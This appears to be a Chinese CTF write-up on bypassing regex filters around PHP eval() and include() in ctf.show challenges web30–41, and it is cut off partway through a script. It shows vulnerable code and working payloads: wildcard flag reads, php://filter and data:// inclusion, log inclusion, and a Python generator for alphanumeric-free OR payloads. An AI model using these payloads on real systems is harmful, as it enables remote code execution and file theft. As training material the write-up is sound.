命令执行各种姿势总结

目录

1、flag|system|php

 2、/flag|system| |php|cat|sort|shell|\.| |\'/i 

3、 /flag|system|php|cat|sort|shell|.| |'|`|echo|\;|(/i 过滤了所有命令

4、/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i

5、文件包含开始。

 6、文件包含过滤/flag|php|file/

7、貌似只留下字母和小括号能用了。/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i

8、数字字母全部过滤,括号没有过滤

2、>/dev/null 2>&1

2.1简单过滤

/dev/null 2>&1");    }}else{    highlight_file(__FILE__);}

2.2、增加空格的过滤>/dev/null 2>&1

2.3、增加了数字和$过滤  >/dev/null 2>&1

2.4、过滤的更多了

2.5、一些通杀

 3、system($c)

3.1、/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\

3.2、使用通配符*进行过滤

 3.3、过滤了字母,点没有过滤,使用通配命令

 3.4、过滤了字母和数字,用个脚本吧

 3.5、只留下$((~$(())))可以使用了,构造出36就赢了

4、突破禁用函数

5、ob_get_contents();ob_end_clean();的使用

 2、上个题目的函数都过滤了,这个题需要一些脚本web71

3、下面的脚本通杀web71-77


1、flag|system|php

 if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
}

web30

web30
?c=echo `tac fl?g.???`;
?c=echo `cat fl?g.???`;
或者
?c=echo  exec('nl fl?g.???');

 2、/flag|system| |php|cat|sort|shell|\.| |\'/i 

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
web31


?c=echo%09`tac%09f*`;

3、 /flag|system|php|cat|sort|shell|.| |'|`|echo|\;|(/i 过滤了所有命令

 if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

相比上一关,增加了对`、echo、;以及(的过滤。这里还是可以使用上一关的payload来绕过。但是有一点点改动,就是对于;的过滤,要想办法去绕过。可以使用?>来闭合绕过

#web32-34

?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

4、/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i

web-35--36

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }

上门的同样能用

?c=require$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

5、文件包含开始。

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;    
    }

web37

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
?c=data://text/plain,

 6、文件包含过滤/flag|php|file/

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }

web37

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
 

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
还可以用日志包含
?c=/var/log/nginx/access.log
?c=data://text/plain,

7、貌似只留下字母和小括号能用了。/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i

web-40
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }

屏蔽了许多的字符,这里发现了字母没有过滤,分号也没有。

这里网上对多的payload为:show_source(next(array_reverse(scandir(pos(localeconv())))));目前我还没有研究明白,后续搞懂了会更新。

还有一种是这样的:通过变量来获取。

?c=eval(array_pop(next(get_defined_vars())));

1=phpinfo();

8、数字字母全部过滤,括号没有过滤

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

web41 发现过滤了数字、字母都不可以使用了。所以想到了无数字字母的命令执行。通过异或来实现操作。刚好没有过滤掉|(或运算),所以可以通过两个字符的ASCII进行异或来得到我们想要的字符。yu师傅给出了两个脚本,膜拜了!

#encoding=utf-8
import re
import requests

url="http://115c7bc5-8b3c-4539-9d89-c2da83e2b5a6.challenge.ctf.show/"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)

# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="ls"      #参数  注意修改这里
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""&

你可能感兴趣的:(命令模式)